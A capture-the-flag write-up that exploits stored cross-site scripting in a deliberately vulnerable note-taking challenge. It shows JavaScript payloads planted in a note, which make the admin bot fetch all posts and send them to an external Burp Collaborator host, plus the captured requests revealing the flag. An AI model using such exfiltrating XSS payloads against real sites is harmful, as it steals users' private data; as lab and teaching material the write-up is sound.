# BABY DUCKY NOTES: REVENGE
So it's been a while since I've spun up ye olde pentesting wheels but one warm, rainy day in July 2023, I decided f*** it. I'll brush up the dust and give a few challenges a go again, one of which was `BABY DUCKY NOTES: REVENGE` (clearly an average B movie name).
https://ctf.thefewchosen.com/![Picture of challenge page](images/challenge.png)
# Reconnisance
The challenge was a whitebox (code included) challenge, with the flag stored as an environment variable inside the host container of the application:
```dockerfileFROM python:3.11-alpine
# Install packagesRUN apk update \    && apk add --no-cache --update chromium chromium-chromedriver
RUN mkdir -p /serv
WORKDIR /servCOPY src .
RUN pip3 install --no-cache-dir -r requirements.txt
ENV PYTHONDONTWRITEBYTECODE=1ENV FLAG=MY_AWESOME_FLAGENV ADMIN_PASSWD=MY_PASSWORD
EXPOSE 1337
CMD [ "python3", "app.py"]```The application itself appeared to be a classic note taking application, with some extra functionality allowing users to report and share notes.
![![Image of application](images/application.png)]
After further investigation of the codebase, it was found that that this flag was then displayed as a hidden note under the admin user upon application startup:
```pythonimport sqlite3, os
def query(con, query, args=(), one=False):    c = con.cursor()    c.execute(query, args)    rv = [dict((c.description[idx][0], value)        for idx, value in enumerate(row) if value != None) for row in c.fetchall()]    return (rv[0] if rv else None) if one else rv def db_init():    con = sqlite3.connect('database/data.db')    # Create users database    query(con, '''    CREATE TABLE IF NOT EXISTS users (        id integer PRIMARY KEY,        username text NOT NULL,        password text NOT NULL    );    ''')     query(con, f'''    INSERT INTO users (        username,        password        ) VALUES (            'admin',            '{os.environ.get("ADMIN_PASSWD")}'     );    ''')     # Create posts database     query(con, '''     CREATE TABLE IF NOT EXISTS posts (        id integer PRIMARY KEY,        user_id integer NOT NULL,        title text,        content text NOT NULL,        hidden boolean NOT NULL,        FOREIGN KEY (user_id) REFERENCES users (id)    );    ''')
    query(con, f'''     INSERT INTO posts (        user_id,        title,        content,        hidden        ) VALUES (            1,            'Here is a ducky flag!',            '{os.environ.get("FLAG")}',            1        );    ''')
    con.commit()```
# Abject Failures
Many plans were tried and failed such as:
- SQL Injection of note taking apps: No good, most queries were sanitised.- SSRF to read localhost notes or interact with environment variables or DB directly: No viable vectors.- Brute-forcing / guessing the admin password: Unlikely to be effective and the CTF organisers would be slightly angy.
Which left XSS!
# Reporting naughty people
There was a `bot.py` file in the codebase that was executed whenever a user reported a post, presumably to simulate the process of the admin user viewing the suspected bad apple post:
```pythonfrom selenium import webdriverfrom selenium.webdriver.chrome.options import Optionsfrom selenium.webdriver.common.by import Byimport time, osimport debugpy
def bot(username):    debugpy.debug_this_thread()    options = Options()    options.add_argument('--no-sandbox')    options.add_argument('headless')    options.add_argument('ignore-certificate-errors')    options.add_argument('disable-dev-shm-usage')    options.add_argument('disable-infobars')    options.add_argument('disable-background-networking')    options.add_argument('disable-default-apps')    options.add_argument('disable-extensions')    options.add_argument('disable-gpu')    options.add_argument('disable-sync')    options.add_argument('disable-translate')    options.add_argument('hide-scrollbars')    options.add_argument('metrics-recording-only')    options.add_argument('no-first-run')    options.add_argument('safebrowsing-disable-auto-update')    options.add_argument('media-cache-size=1')    options.add_argument('disk-cache-size=1') 
    client = webdriver.Chrome(options=options)
    client.get(f"http://localhost:1337/login")    time.sleep(3)
    client.find_element(By.ID, "username").send_keys('admin')    client.find_element(By.ID, "password").send_keys(os.environ.get("ADMIN_PASSWD"))    client.execute_script("document.getElementById('login-btn').click()")    time.sleep(3)
    client.get(f"http://localhost:1337/posts/view/{username}")    time.sleep(30)
    client.quit()```
And ooo, it logs itself in as admin. That could be useful to know for later.
# Mmmm hot cross ~~buns~~ site scripting
So with this knowledge in mind, lets create a note and test for basic XSS:
![Note creation](images/create-note.png)
![XSS](images/xss.png)
And yes, looks like there isn't any sanitisation on the content field.
# The attack
So we could try stealing the admin's cookie?
```httpHTTP/1.1 200 OKServer: Werkzeug/2.3.6 Python/3.11.4Date: Sat, 29 Jul 2023 13:11:14 GMTContent-Type: application/jsonContent-Length: 16Vary: CookieSet-Cookie: session=eyJ1c2VybmFtZSI6InBvb3BvbyJ9.ZMUP8g.53pB0zMJGwwmKo6OvQP4813o0Ek; HttpOnly; Path=/Connection: close
"Success login"```
No good. The login JWT is created with the `HttpOnly` flag set, so no access from javascript allowed :(. Although we could try to create a fake login form to try and trick the admin to enter their credentials on a real assessment, no such real human exists here sadly.
So, after a little while of searching my smooth brain for options and trying other routes for a bit, I thought back to the bot. Since it logs in as admin and views all the posts, surely it should view my evil post too. And from there, we might be able to grab the flag from their own post.
So I crafted a payload that I hoped would reach out to my burp collaborator server:
```html<script>fetch("https://cuan8nbwx4vuhr9pvco06jnc036uuoid.oastify.com/reachable?true")</script>```
![Collaborator Ping](images/collab-reachable.png)
Bingo! We have a ping. Now to devise an appropriate payload to read the flag:
```html<script>    fetch("http://localhost:1337/posts", {        credentials: "same-origin"    })    .then(response => response.text())    .then(function (data) {        fetch("https://cuan8nbwx4vuhr9pvco06jnc036uuoid.oastify.com/convertfirst", {            method: "POST",            body: data        })    })</script>```
This will essentially grab all the posts stored on the application using the admin's credentials (so we can see them all), convert the HTTP response to text and then send it away to my collaborator server. Lets try it out:
```yamlPOST /api/posts HTTP/1.1Host: 127.0.0.1:1337User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: */*Accept-Language: en-GBAccept-Encoding: gzip, deflateReferer: http://127.0.0.1:1337/posts/createContent-Type: application/jsonContent-Length: 396Origin: http://127.0.0.1:1337DNT: 1Connection: closeCookie: session=eyJ1c2VybmFtZSI6InBvb3BvbyJ9.ZMUP8g.53pB0zMJGwwmKo6OvQP4813o0EkSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin
{"title":"dnshndasjhndj","content":"<script>\n    fetch(\"http://localhost:1337/posts\", {\n        credentials: \"same-origin\"\n    })\n    .then(response => response.text())\n    .then(function (data) {\n        fetch(\"https://cuan8nbwx4vuhr9pvco06jnc036uuoid.oastify.com/bodyasstring\", {\n            method: \"POST\",\n            body: data\n        })\n    })\n</script>","hidden":false}```
Then we report the posts:
![Posts reported](images/report.png)
Wait a little bit in Burp Collaborator anndddddd....
```httpPOST /convertfirst HTTP/1.1Host: cuan8nbwx4vuhr9pvco06jnc036uuoid.oastify.comConnection: keep-aliveContent-Length: 2492sec-ch-ua: "Not/A)Brand";v="99", "HeadlessChrome";v="115", "Chromium";v="115"sec-ch-ua-platform: "Linux"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/115.0.5790.110 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: http://localhost:1337Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost:1337/Accept-Encoding: gzip, deflate, br
<html lang="en">
<head>    <meta name="viewport" content="width=device-width">    <title>Baby Ducky Notes: Revenge!</title>    <script src="/static/js/jquery.js"></script>    <script src="/static/js/report.js"></script>    <link rel="preconnect" href="https://fonts.googleapis.com">    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>    <link rel="stylesheet" href="/static/css/styles.css" /></head>
<body>     <nav class="navbar">        <div id="trapezoid"> Login Register View Create        </div>    </nav>
    <div class="posts_list">               <div class="blog_post">                <div class="container_copy">                  <h1> Here is a ducky flag! </h1>                  <h3> admin </h3>  TFCCTF{Ev3ry_duCk_kn0w5_xSs!}                 </div>            </div>               <div class="blog_post">                <div class="container_copy">                  <h1> SendPosts </h1>                  <h3> morgan </h3>  <script>    fetch("http://localhost:1337/posts", {        credentials: "same-origin"    })    .then(response => response.text())    .then(function (data) {        fetch("https://cuan8nbwx4vuhr9pvco06jnc036uuoid.oastify.com/convertfirst", {            method: "POST",            body: data        })    })</script>                 </div>            </div>       </div>
 TFCCTF{Ev3ry_duCk_kn0w5_xSs!} 
 <script>    fetch("http://localhost:1337/posts", {        credentials: "same-origin"    })    .then(response => response.text())    .then(function (data) {        fetch("https://cuan8nbwx4vuhr9pvco06jnc036uuoid.oastify.com/convertfirst", {            method: "POST",            body: data        })    })</script> 
    <div class="report">        <div class="message" id="alert-msg" hidden ></div>        <button type="button" id="report-btn">Report to admin</button>    </div>     <footer>        <div class="footer-content">            <h3>Disclaimer</h3> This challenge is made to be hacked. Any indication of proper usage or untapped activity will result in legal sanctions. Happy hacking!        </div>        <div class="footer-bottom"> copyright © Sagi / The Few Chosen CTF 2023              <div id="pot">               </div>        </div>
This challenge is made to be hacked. Any indication of proper usage or untapped activity will result in legal sanctions. Happy hacking!
copyright © Sagi / The Few Chosen CTF 2023  
    </footer> </body>
</html>```
And there we go, we got the flag = `TFCCTF{Ev3ry_duCk_kn0w5_xSs!}`